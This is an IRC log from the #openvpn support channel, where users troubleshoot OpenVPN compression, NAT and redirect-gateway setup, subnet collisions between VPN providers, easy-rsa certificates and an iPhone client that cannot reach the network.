11:14 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 240 seconds]
11:17 -!- jefferai [~quassel@kde/mitchell] has quit [Ping timeout: 256 seconds]
11:18 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
11:29 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:31 -!- lmm_ is now known as lmm
11:53 -!- bdpuk [~bdpuk@151.237.234.64] has quit [Quit: Leaving]
11:55 -!- Otacon22 [~otacon22@131.175.124.129] has joined #openvpn
11:57 < thesov> how powerfull of a processor would i need to openvpn AES + lzo comp at 45 megabits?
11:57 < thesov> also at 1000+
11:59 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Read error: Connection reset by peer]
11:59 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
12:02 -!- locojay2 [~locojay@207.239.107.3] has quit [Ping timeout: 245 seconds]
12:03 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
12:06 < ludde> is there any specific reason why openvpn doesn't have a header compression feature?
12:07 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
12:08 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
12:10 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:13 -!- Otacon22 [~otacon22@131.175.124.129] has quit [Ping timeout: 272 seconds]
12:15 -!- locojay2 [~locojay@207.239.107.3] has joined #openvpn
12:16 <+pekster> ludde: In part becuase use of compression is contained in a byte in the header (see f.ex. lzo.c:185) so you can't "compress the bit that explains if compression was used"
12:17 -!- JackWinter [~jack@vodsl-4997.vo.lu] has quit [Quit: Konversation terminated!]
12:18 < thesov> pek would you know how fast a machine has to be to do about 45 megabits?
12:18 < thesov> i tried on 1.6 gig atom, it did about 8 megabit max
12:18 < thesov> or it is just the fact that it was an atom
12:18 <+pekster> That depends on an awful lot of factors, although go get AES-NI hardware if you want performance
12:19 <+pekster> in-software crypto will naturally be slower on the less-performant chips out there
12:19 -!- JackWinter [~jack@vodsl-4997.vo.lu] has joined #openvpn
12:19 < thesov> i know this sound crazy, but is it possible to run it without crypto using only the lzo compression?
12:20 <+pekster> Read --cipher
12:20 < thesov> thanks!
12:25 < ludde> pekster: I don't understand how that is related to header compression. I mean IP header compression.
12:25 < thesov> ok i see all the available ciphers, and everything is there a performance chart somehwere i can also see?
12:25 < ludde> pekster: plus,that bit could be stored in openvpn's already existing tag-byte that precedes the payload
12:25 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
12:26 < thesov> you want to compress 60 bytes?
12:26 < ludde> well, 40
12:27 < ludde> ip=20 and tcp=20
12:27 < thesov> well for data, 1500 bytes, id say sure but what are saving with 40?
12:27 < ludde> it kind of adds up. it would be nice if openvpn had zero overhead compared to non-vpn.
12:28 <+pekster> The data payload is compressed AFAIK; it's the _openvpn_ header you cannot compress as it contains critical command bytes
12:28 <+pekster> And no, you cannot have a VPN with "zero" overhead; even something as basic as 802.1Q has overhead
12:28 < ludde> pekster: lzo doesn't work well for tcp/ip headers as they are so random. i mean a compression algorithm tuned for the actual header.
12:28 < thesov> i have a couple of point to points with lzo on, as long as you arent sending image data or zips over the line it more than makes up for itself
12:29 <+pekster> Go write support for something and offer it as a patch? git-master has snappy compression, although lz4 has been discussed
12:29 < ludde> pekster: will do
12:29 < thesov> lz4 would rock, zfs just implemented lz4
12:29 < thesov> very fast
12:29 < ludde> pekster: i also want to have some dictionary based http header compression.
12:30 <+pekster> Don't solve L7 problems at L3
12:30 <+pekster> If you want an "http-aware" compressiong proxy, use an ALG for that
12:30 < ludde> where else would I solve it?
12:30 <+pekster> L7
12:30 <+pekster> If you want to muck with http traffic, use an http proxy.
12:30 < ludde> no thanks
12:30 < ludde> i'm not mucking with traffic
12:30 < ludde> I just seed lz4 with a dictionary
12:31 < ludde> then instead of starting from zero, it starts from a set of pre-defined strings
12:31 < ludde> and will be able to compress http headers
12:31 <+pekster> That's really better implemented as an openvpn plugin if you want to do that
12:31 -!- mavvy [~mavvy@ip-5-146-90-97.unitymediagroup.de] has joined #openvpn
12:31 <+pekster> The last thing openvpn needs is more mostly-useless global options like --lzo-compression-dict http
12:32 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has quit [Remote host closed the connection]
12:32 < mavvy> hi guys, is it possible to disconnect a vpn-client by serverside? any keywords i can google for?
12:32 <+pekster> If you do it in a plugin using the plugin API people who want the feature can bolt it on without polluting the rest of the code for the majority who won't want/need it
12:32 < ludde> well virtually everyone uses http, so it wouldn't be _that_ useless.
12:32 <+pekster> Tell that to people using --enable-small
12:32 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has joined #openvpn
12:32 <+pekster> (think systems that only have ~4MB flash for the entire OS and filesystem)
12:33 < ludde> pekster: if I create a standalone library named ipzip then openvpn could chose to include that or not.
12:33 <+pekster> There's a plugin API you might like to look at, and it has some samples already designed for you to get an idea of how it works
12:33 < ludde> ok
12:33 <+pekster> (hence the suggestion to look there)
12:33 <+pekster> mavvy: Read about the --management interface and the 'kill' command
12:33 < mavvy> pekster: thanks
12:33 < ludde> i'll write some non-openvpn specific library for ip/tcp/udp/http-header compression first.
12:33 <+pekster> mavvy: Note that by default a client may  just try to reconnect unless you either revoked the cert or used a ccd with the 'disable' directive
12:34 < ludde> pekster: I did some rough tests, and i was able to compress tcp headers from 40 to 20 bytes on average for a point to point link.
12:34 < mavvy> pekster: yep, thanks for the help
12:35 < ludde> pekster: there's a bunch of non-compressible fields, such as sequence numbers, ack numbers, and packet sequence numbers.. and i want it stateless.
12:36 <+pekster> ludde: You're better off joining -devel if you want advice on compression. I'm not sure a solution that's "roughly as good as the proposed lz4" would be a candidate to be merged, but it all depends on the compression/performance tradeoff, and the quality of the code of course
12:36 < ludde> ok
12:37 -!- moparisthebest_ [~quassel@mailer.moparscape.org] has quit [Read error: Connection reset by peer]
12:37 < ludde> i'll write some code, although that'd take a while.
12:37 <+pekster> If you'd like, sure. The other devs might have direction/advice on the concept too, if that's what you were fishing for
12:38 < ludde> ok
12:38 <+pekster> Since compression (and its future in openvpn) has been discussed several times, either -devel here or the ML by the same name would be more appropriate places for code-related stuff with a better mix of devs
12:38 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:39 <+pekster> (just be patient; folks have day jobs and live in varied timezones too ;)
12:39 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:39 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
12:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
12:47 -!- Otacon22 [~otacon22@109.53.213.66] has joined #openvpn
12:48 -!- |1li__ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
12:48 -!- |1li__ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
12:51 < ludde> pekster: by (and its future in openvpn) do you mean they have discussed removing compression completely?
12:53 <+pekster> No, but using something more featureful; snappy was included in the codebase recently, but it's got some issues, especially on Windows where the installer size goes up by another 4-5 MB just for the C++ library bloat
12:53 <+pekster> Hence lz4 being discussed
12:53 < ludde> ah
12:53 <+pekster> Part of the issue is that for it to be "universally useful" it needs to be supported across all platforms
12:54 < ludde> yes
12:54 <+pekster> A plugin certainly works for one-off cases, but it's a careful balance between the platforms, keeping the code bloat out of --enable-small builds, and generally not making the code harder to maintain than it currently is
12:54 < ludde> by the way do you know if the DSCP_ECN field in the IPv4 header is actually ever used?
12:54 < mapps> i seem to have made a mistake somewhere..I can connect to my VPn and it works..but when I add push redirect-gateway to the server it stops working..I added the iptables rule for the NAT but im stuck now - anyone able to lend a hand
12:55 <+pekster> mapps: !redirect has more info; you need a lot more than a NAT rule for that to work
12:55 < mapps> i did turn ipforward on pekster
12:55 < mapps> but ok il try
12:55 < mapps> !redirect
12:55 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
12:55 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
12:55 < mapps> i had it working before..but thenj i rebooted and settings werent saved ;(
12:56 <+pekster> ludde: That's a basic TCP/IP question that google can surely answer
12:56 <+pekster> RFC3168 might be a place to start
12:56 < ludde> well i meant if it's usually used
12:57 < ludde> i've never seen it used
12:57 <+pekster> Endpoints conforming to RFC3168 would use it, yes
12:58 <+pekster> RFC2474 uses all 8 bits for ToS too
12:58 < ludde> I know it _can_ be used
12:58 <+pekster> You can't just "rip out" bits you "don't think" people use often; that's how protcols get broken
12:58 < ludde> pekster: my thing will be able to encode any string of bytes and then decode it to the same string.
12:59 <+pekster> ECN is negotiated between endpoints; if you don't control them (as you won't when you're a router) you can't make any assumptions about what that host will send within RFCs (and you should gracefully handle hosts that violate RFCs anyway)
13:02 <+pekster> Easy enough to watch the traffic you receive (say on your IPv4 border) for ECN-traffic. A pcap filter something like (untested, mod to taste) 'ip[1] & 0x3 != 0' might show you such packets
13:03 < mapps> !def1
13:03 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
13:03 < mapps> !ipforward
13:03 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
13:06 <+pekster> ludde: I'm going to go with "yes, plenty of hosts support/use it" : http://pastebin.kde.org/pavldghle/ifetbe
13:06 < ludde> ok cool
13:06 < ludde> thanks
13:06 <+pekster> Don't try to "out-smart" TCP
13:06 <+pekster> Or IP, in this case
13:07 < ludde> i'm not out-smarting IP
13:07 < ludde> but i'm optimizing my code for the common case, and let the non-common case remain uncompressed.
13:14 -!- Otacon22 [~otacon22@109.53.213.66] has quit [Ping timeout: 272 seconds]
13:15 < MariusIT> test
13:15  * MariusIT test
13:16  * MariusIT salute thumbs with respect.
13:17 -!- MariusIT [~MariusIT@86.124.68.46] has left #openvpn []
13:35 < mapps> !linipforward
13:35 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
13:36 < mapps> hm
13:36 < mapps> i never did #3 before
13:53 < mapps> What does -I do
13:57 <+pekster> Didn't read iptables(8)? It inserts at the beginning. #netfilter is the channel for help with netfilter
13:57 < mapps> yea i thought it said that
13:57 < mapps> sorry
13:57 <+pekster> The recommendation is to use iptables-restore(8) to load your rules anyway
13:58 < mapps> damnit added a rule twice:)
13:58 < crass> is client-nat done completely inside openvpn? or would it use iptables for instance?
13:59 <+pekster> openvpn doesn't do any NAT, no. There is technically --client-nat, but you shouldn't be using that (do it properly in your OS)
14:00 < crass> that statement appears to imply that client-nat uses external mechanisms for doing the nat
14:01 <+pekster> It's in-openvpn. Don't use it as it's a dirty hack
14:01 <+pekster> Have you read the option?
14:01 < mapps> !dns
14:01 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
14:01 < mapps> !pushdns
14:01 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
14:01 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
14:01 <+pekster> I've implied nothing; go read it and ask a question that demonstrates you don't just pepper me with questions and are capiable of actually reading/learning
14:02 < crass> pekster: wtf, I'v read the man page on client-nat many times, what proof of intelligence do you need?
14:02 < crass> the man says nothing about my question
14:03 < crass> and wheres the peppering? that was my first question in a day
14:03 < crass> _do_ you even understand the question I was asking?
14:05 <+pekster> It's in-openvpn, but you shouldn't use it. What exactly are you trying to do?
14:05 -!- Otacon22 [~otacon22@93-36-89-25.ip59.fastwebnet.it] has joined #openvpn
14:05 < crass> I don't know what "in-openvpn" is
14:05 <+pekster> In the openvpn code...
14:06 <+pekster> Not relyiing on external stuff. The openvpn codebase peforms this option. It's OS-independent, thus can't rely on a Linux-ism. Not sure how much more clear than "in openvpn" I can get
14:07 < crass> I understand "in openvpn" not "in-openvpn"
14:07  * pekster sighs
14:07 < crass> anyway, thanks for finally answering the question, saving me from reviewing the source
14:07 < mapps> hoorah my vpn is working again:D
14:07 < mapps> now to save these pesky rules and forwards ...
14:08 < crass> what I want to do is nat a fake internal ip on the tun
14:08 < crass> ie not the one the server gave me
14:08 <+pekster> You can't do that; the server will drop such traffic
14:08 <+pekster> Next time: http://catb.org/~esr/faqs/smart-questions.html#goal
14:08 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
14:08 < crass> for some reason I get problems when the server's pushed client ip is the same as the ip of the interface which ovpn is using
14:09 <+pekster> You can't have conflicting networks, right
14:09 < crass> pekster: no, it won't because the server won't see the fake ip
14:09 <+pekster> Rather than hacking around the problem, what stops you from using sane network layout?
14:09 < crass> I don't control the server
14:09 <+pekster> So renumber the other side..
14:10 <+pekster> Or go yell at the brain-dead admin who used such a common network (at least I assume that's what happened here)
14:10 < crass> not sure what you mean by "renumber the otherside"
14:10 <+pekster> It's really (really!) stupid for any VPN admin to use things like 192.168.{1,0}/24
14:10 < crass> I have no access tot he admin
14:10 <+pekster> Presumably you control the client network, yes?
14:10 < crass> yes
14:10 <+pekster> Why not renumber it to something less-likely to cause you problems
14:10 < crass> that's what I'm wanting to do
14:11 < crass> perhaps I have a misunderstanding
14:11 < crass> so the ips of the ptp tun aren't actually seen by the server?
14:12 < crass> ie. they can be anything? (I'm doubting this)
14:12 <+pekster> In mode p2p, yes
14:12 <+pekster> When the server is in --mode server, no
14:12 <+pekster> (PtP doesn't care what your address is. It's an "IP-less interface" -- you just usually assign IPs out of convenience)
14:13 < crass> oh, interesting, so that's where the p2p nature comes in
14:13 < crass> I thought ptp was in server mode
14:13 < crass> *for the server
14:13 <+pekster> OpenVPN's P2MP is not the same as a true p2p setup
14:13 <+pekster> P2MP is `--mode server`
14:14 <+pekster> You're obviously not using p2p on both ends if the "server is pushing" an IP
14:14 < crass> right but if the server is pushing an ip, then doesn't it expect that ip on its networks?
14:14 <+pekster> So what's the actual issue here? The VPN admin is too stupid to use a sane network choice and it overlaps with your home network?
14:14 <+pekster> crass: No, it does. As I said earlier, you cannot "just change" the IP you're given (at least without server cooperation)
14:15 < crass> multiple vpns, and I have no way to contact the admins
14:15 < crass> sometimes they conflict, sometimes not
14:15 < crass> hm, I must have misunderstood, I thought you said in ptp you could use any ip
14:16 <+pekster> On a true PtP interface, yes. Point-to-Point networking "just sends stuff" to the other side
14:16 < crass> ahh, it can be anything, but the server side has to agree
14:16 < crass> anyway, that's about what I thought from the beginning, so I need to nat
14:17 <+pekster> There's no concept of an address _across_ the link, but packets have an IP for after that point. I have, for example, direct-connected two PCs with a setup like PC1: `ip addr add 10.1.2.3/32 peer 10.3.2.1` anad PC2: `ip addr add 192.168.1.2/32 peer 192.168.2.1` and it works fine
14:17 <+pekster> PC1 can ping 10.3.2.1, and PC2 responds
14:17 < crass> using client-nat seems better (more OS agnostic) than external mechanism
14:17 <+pekster> Right, you're basically hosed due to the screwy setup you have
14:18 <+pekster> So that's the best you can get is hack around it with that option
14:18 < crass> well, I could use iptables to do the same thing and that would have its advantages also
14:18 <+pekster> Seems highly unlikely that this should happen if the admins are using better network numbering choices, but it sounds like this is Yet Anonther Example of crappy "VPN providers" not having a clue in the world
14:19 <+pekster> (so many stupid problems caused by people trying to pay people who are clueless.. :(
14:19 < crass> pekster: how can this be avoided? isn't addr collision generally unavoidable?
14:19 <+pekster> With all of 10/8? not really
14:20 < crass> how can this be done without operator collusion?
14:20 <+pekster> If the admins are less-stupid this doesn't happen, at least with high probability
14:20 < crass> say I want to use 10.1.1.1 and so does another operator?
14:20 <+pekster> Don't use such a brain-dead fucked up network choice
14:20 <+pekster> echo "10.$((RANDOM%256)).$((RANDOM%256)).0/24"
14:20 < crass> you're suggesting that the choice should be random to avoid collision?
14:20 < crass> ok, yeah
14:20 <+pekster> Type that in a shell with $RANDOM support and tell me how long it takes to have a collision
14:21 < crass> should be 1 out of 65536 times
14:22 < MorgyN> not quite how probability works
14:22 < crass> why not for a real random num generator? those are independent variable
14:24 <+pekster> http://pastebin.kde.org/pygkpifyj
14:24 <+pekster> Because changing a defined network is non-trivial
14:24 <+pekster> VPN admins who aren't stupid know this (the majority don't, or don't care)
14:25 < MorgyN> my work admin uses 10/8 makes me so sad
14:25 < MorgyN> esp when I'm conennected to ~3 vpns at the same time
14:26 <+pekster> MorgyN: Just in case you expand and need 16.7 Million PCs on the office network..
14:27 <+pekster> fwiw, if you run my script, to have a collision with 2 properly-selected random /24's inside 10/8, that value would have to read "3" (+1 for my blank line) in order to "break" for you
14:27 -!- elfixit [~Icedove@213.144.157.68] has quit [Quit: elfixit]
14:27 <+pekster> That's _highly_ unprobable
14:28 <+pekster> Of course, not-so-well-selected collisions happen earlier. tl;dr: today you learned VPN providers are braindead and very bad at their jobs. It's about as worthwhile as the low-end VPS industry in terms of the knowledge of the "admins"
14:28 < mapps> NO WAY
14:28 < mapps> i was wrong
14:28 < mapps> my vpn isnt working:(
14:29 < crass> pekster: I expected nothing less from these vpns, what I did expect was to be able to work around it, which I will
14:29 <+pekster> Right
14:29 <+pekster> Hack-on
14:29 < mapps> damn annoyed
14:29 < mapps> wanted to fix it before i have a drink:D
14:30 < crass> actually, I thinking about your script, that's show how many times you can setup two vpns from random vpn providers without a collision
14:31 <+pekster> Not "random vpn providers" no, since most "random" providers don't use such a good random selection method
14:31 < crass> pekster: in our hypothetical situation
14:32 < crass> what I was thinking was how many times you can pick a random vpn that will collide with your already existing randomly selected vpn
14:32 <+pekster> The even more clever reader might look at networks in RFC2544, RFC5737, or possible the unused so-called "Class-E" space, though Windows won't have anything to do with that last one
14:33 < crass> your scripts shows much higher collision probability
14:34 < MorgyN> with all the google scraped wifi details wonder if anyone graphed the most popular subnets, ignoring 192.168.0/23, and 10.0.0/23
14:36 <+pekster> IPv6 can't get here fast enough; we just need to wait for the next ice-age
14:36 < crass> 2544 is "Benchmarking Methodology for Network Interconnect Devices", that doesn't seem germane
14:37 <+pekster> It's an entire /15 that is not publically allocated and not likely to conflict with pretty much anything else out there
14:37 <+pekster> Same thing with 240/4, though Windows refuses to use it (Linux & BSD are fine with it)
14:38 -!- klein [~klein@187.85.186.168] has joined #openvpn
14:38 -!- klein [~klein@187.85.186.168] has quit [Changing host]
14:38 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
14:39 < crass> yeah, I'm thinking I just use 127.$RANDOM.$RANDOM.$RANDOM
14:41 < mapps> hm
14:42 < mapps> how do i buoild a new key/cert for a new client? ive only done it during setup when i made server key/crt
14:45 <+pekster> mapps: Generate a new keypair and sign the request with your existing CA
14:45 < mapps> i i thought so
14:45 < mapps> hmm
14:45 < mapps> so i can run ./build-key clientx again cant i/
14:45 <+pekster> A more basic primer to how PKI works that I wrote can be found here if you want more background: https://www.pekster.net/staging/josh/easyrsa3/Intro-To-PKI.html
14:45 < mapps> thanks will read that in a sec
14:46 <+pekster> And yes, once you have an easyrsa PKI set up you can use that script to build a new one
14:46 < mapps> i must have done something stupid
14:46 < mapps> yea
14:46 < mapps> ive generated 2 clients keys/certs and server key/cert
14:46 <+pekster> Ideally you don't generate keys on the CA box, but easy-rsa v2 promotes this behaviour
14:46 <+pekster> It's a security/convenience trade-off
14:46 < mapps> but now when i run ./build-key clientx it says edit the vars file?!
14:46 < mapps> next start with a fresh PKI config
14:47 <+pekster> Easy-RSAv2 requires that you source the vars file _every_ time you run it
14:47 < mapps> oh
14:47 <+pekster> If you have not exported the vars into your shell environment, it doesn't work
14:50 < mapps> right ok done so now i can just do pkitool client
14:50 < mapps> i think
14:51 < crass> it would be really nice if the management interface allowed pushing options to the server
14:52 < crass> would there be technical reasons for not doing this?
14:52 <+pekster> "pushing options to the server" ?
14:52 < crass> sorry, by server I mean the openvpn instance having the management interface
14:53 <+pekster> That doesn't make sense either. Options impact the way openvpn configures itself, and youc an't edit these in "realtime"
14:53 <+pekster> If you mean the stuff sent in a PUSH_REQUEST, that too doesn't make sense as you would define them at runtime
14:54 <+pekster> Again, less about the "why can't I do $obscure_thing" and try to describe your end-goal
14:54 < crass> I meant the former, but I guess what I really want is a way to have the route-up script push options to the ovpn inst
14:54 <+pekster> http://catb.org/~esr/faqs/smart-questions.html#goal
14:54 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
14:54 -!- mavvy [~mavvy@ip-5-146-90-97.unitymediagroup.de] has quit []
14:55 < crass> well, I think its an interesting question in general regardless of my goal
14:55 <+pekster> --client-connect is how a server pushes dynamic options to a client
14:55 < crass> right, but I mean from the route-up script
14:56 <+pekster> I can't see a possible use-case for wanting to "change" options on the client side, and by --route-up it's too late anyway since it's _after_ the PUSH_REQUEST stuff
14:56 <+pekster> Again, what's the purpose here?
14:56 <+pekster> You seem to have a hard time describing what the goal is
14:56 < crass> its the same goal
14:56 <+pekster> "to do it in --route-up" ? The answer is "don't do that."
14:56 < crass> I'd like to push client-nat, which can make sense if you're configuring the interface
14:56 <+pekster> It's not supported and serves no purpose AFACT
14:57 <+pekster> --client-nat _is_ already pushable from the server
14:57 < crass> not from the server, I have no contorl over the server
14:57 < crass> I must do this locally
14:58 < crass> thus I was thinking through the management interface or route-up script
14:58 <+pekster> I suggest you find a more clever way to hack iptables then to do your dynamic-NAT stuff
14:58 <+pekster> It's not nearly as simple as "making options adjustable from the management interface" from a code perspective
14:58 < crass> for client-nat it does appear to be the case
14:59 < crass> just add_client_nat_to_option_list
14:59 < crass> I can see that for options in general that is likely true
15:00 -!- Denial [Denial@90.216.209.93] has quit []
15:01 <+pekster> You can't do that becuase many other things in options.c reference the options->client_nat struct set by that option
15:03 < crass> ic, copies are made
15:03 <+pekster> f.ex, push.c:454
15:04 <+pekster> You can't mess with options->client_nat beuccase that's _after_ this has occurred
15:04 <+pekster> (not in --route-up.) You're trying very hard to solve the wrong problem
15:04 < mapps> some reason i always find NAT a bit confusing
15:05 <+pekster> I'm also no longer interested in helping you fix stupid VPN providers' networks and apparently trying to chain them together when youd don't contorl them? This is, IMO, a very silly converrsation
15:05 <+pekster> Much Ado About Very Little
15:05 < crass> ok, well I do appreciate the help you have given
15:06 < mapps> hmm just tested my vpn on my other laptop and it seems to be working
15:06 < mapps> how confusing
15:08 < mapps> ARGH
15:08 < mapps> still not working i thought it was
15:08 < mapps> i tested it on my laptop which is on the LAN and it worked i connected and i could reach um any site..i tried it on my cell over 3g it connects but i cant reah ANYWHERE
15:11 < crass> actually, it would be nice to have a "push" hook, where the script would get run when the server does a push
15:11 -!- jtran [~jtran@pool-71-243-221-193.lsanca.fios.verizon.net] has joined #openvpn
15:12 < jtran> what's the difference (in server.conf) between 'route 192.168.111.0/24' vs  'push "route 192.168.111.0/24"' ?
15:15 < crass> jtran: wouldn't the push option be for pushing to connecting clients? while route would be local?
15:15 < jtran> crass:    aaah, i see.  i didn't understand that.  thx
15:16 < mapps> so i've set ipfrowarding on..ive done the nat masquerade in iptables and the forward..im pushing the dns ..ive got redirect-gateway de1 on
15:16 < mapps> what more could i do..should i add a route into server.conf?
15:23 < mapps> tcpdump -n -i tun0 shows connections from the laptop 10.8.0.10 to the tun0 interface but there's nothing on the cell phone connection or my other laptop
15:23 < mapps> has anyone got any suggestions?:(
15:29 < mapps> hmm so now ive got it working on both my netbook and my laptop but still nothing on my cell phone
15:29 < crass> tcpdump on the phone?
15:29 < mapps> hm not sure how its an iphone
15:30 < mapps> it connects on the iphone but i just cant access anything
15:40 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:40 < mapps> im a bit stuck :(
15:47 < mapps> anyone got any suggestions i can check
15:48 < mapps> ive checked everything i can think of and have read the howoto and plenty;/
15:52 < mapps> pekster,  you're an expert any suggestions:D other than saying rtfm lol
15:54 < crass> mapps: perhaps post the openvpn log?
15:55 < mapps> from server?
15:55 < crass> from the client
15:56 < crass> with verb 9
15:56 < mapps> ah
15:56 < mapps> ok il have to redo the ios ovpn file
15:56 < mapps> 2minutes :)
16:00 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 246 seconds]
16:03 -!- mattock is now known as mattock_afk
16:03 < mapps> ok got it
16:04 < crass> paste?
16:05 < mapps> http://pastebin.com/6fv2Wqnf
16:05 < mapps> entire log from the iphone
16:05 < mapps> a lot there so i think some will be befopre on old client conf when it had verb3 but i updated to verb 9 as you said to
16:06 < mapps> i cant figure it out..when im testing on my netbook or laptop im connecting to my external ip (94.193.x.x) and it works on both laptop and netbook
16:07 < mapps> checked ipforwarding client config server config..pushing DNS..checked iptables..really stumped
16:08 < crass> hmm, you changed the verb through the management interface
16:08 < mapps> i set it in ios.ovpn
16:08 < mapps> did i di something wrong?
16:09 < crass> well, I don't see the config options
16:09 < mapps> want me to paste ios.ovpn too
16:10 < crass> one sec
16:11 < crass> seeing a lot of: Transport Error: UDP connect error on '94.193.78.219:1194' (94.193.78.219:1194): Network is unreachable
16:11 < mapps> yea
16:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:12 < mapps> thats another issue that i cant figure out..basically when connected (whether i can reach say google or not) after my phone locks after say 5mins of no use
16:12 < mapps> it says pause (network unavaliable) in the openvpn ios app status
16:12 < mapps> and i have to disconnect and reconnect..i assume its due to the phone being idle and it not auto reconnecting or keeping the connection alive/ I did try to find out more but couldnmt
16:12 < mapps> and posted on the forum
16:13 < mapps> http://pastebin.com/XLuYJbKP >-- ios.ovpn client config file if you can look at it..I've checked over both server and client config numerous times
16:16 < crass> sorry, in the middle of something, bb in 20min
16:23 < mapps> ok thanks
16:25 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit []
16:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:40 < crass> mapps: I'm hearing conflicting things it connects or not?
16:42 < crass> mapps: you were doing tcpdump on the server?
16:43 < mapps> hey
16:43 < mapps> yep
16:43 < mapps> ok
16:44 < mapps> sorry basically it connects fine but i cant actually reach anything so any websites etc
16:44 < mapps> when using the VPN
16:44 < crass> and when running tcpdump you see no packets from the phone?
16:44 < mapps> but when using the VPN on my netbook/laptop to test it works
16:44 < mapps> nope
16:44 < mapps> i could see packets from 10.8.0.10 (laptop)
16:44 < mapps> can i specify a src ip to monitor?
16:45 < crass> ok, then you're not using tcpdump correctly, because the log clearly shows communication
16:45 < crass> yeah use filter "host <ip>"
16:45 < mapps> ok now to see what IP the iphone uses..dont know how to see hmm
16:45 < mapps> ah the log
16:46 < mapps> although hang on
16:46 < mapps> 6 [ifconfig] [10.8.0.6] [10.8.0.5]
16:46 < mapps> why does it mention 2 ips
16:46 < crass> local and remote ip
16:47 < crass> first is local, second remote
16:47 < crass> but that's not the ip you want
16:47 < mapps> it isnt?!
16:47 < mapps> oh
16:47 < crass> you want the ip of the iface on the phone
16:47 < mapps> ah right
16:47 < mapps> well i dont know how to get that
16:48 < crass> err, no, sorry, for listening on the tun interface the 10.8.0.6 is the ip you want
16:48 < crass> anyway, this shouldn't really matter except for verification, the logs clearly says its getting packets and sending packets
16:49 < mapps> i think ive confused myself why are there 2 IPs i thought 1 ip like say my laptop is 192.168.1.71 and then one in the 10.8.0.0/24 range
16:49 < mapps> yea
16:49 < crass> the first ip is the ip for the local interface, that's the ip on the packets you send through the tunnel
16:49 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 248 seconds]
16:49 < crass> the second is the remote ip on the servers side, its the ip of the server, as the client sees it
16:50 < mapps> ah
16:50 < crass> so on the phone can you ping that remote address? ping 10.8.0.5
16:50 < mapps> just reconnedtd 1sec
16:50 < mapps> ok so yea still same
16:51 < mapps> nope cant ping 0.5
16:51 < mapps> can ping 0.6
16:51 < crass> well 6 is you so that's good
16:51 < atmosx> awesome
16:52 < crass> but not good that you can't ping 5, sounds like a local routing issue on the phone
16:52 < mapps> did you see the ios .ovpn file looks fine?
16:53 < crass> what does route -n say on the phone?
16:53 < mapps> not sure hoiw to do that its not jb ..running ios7
16:54 -!- Mcsnugglez_ [~IceChat9@53547430.cm-6-5b.dynamic.ziggo.nl] has joined #openvpn
16:54 < crass> can you get any routing info? perhaps they "have an app for that" :p
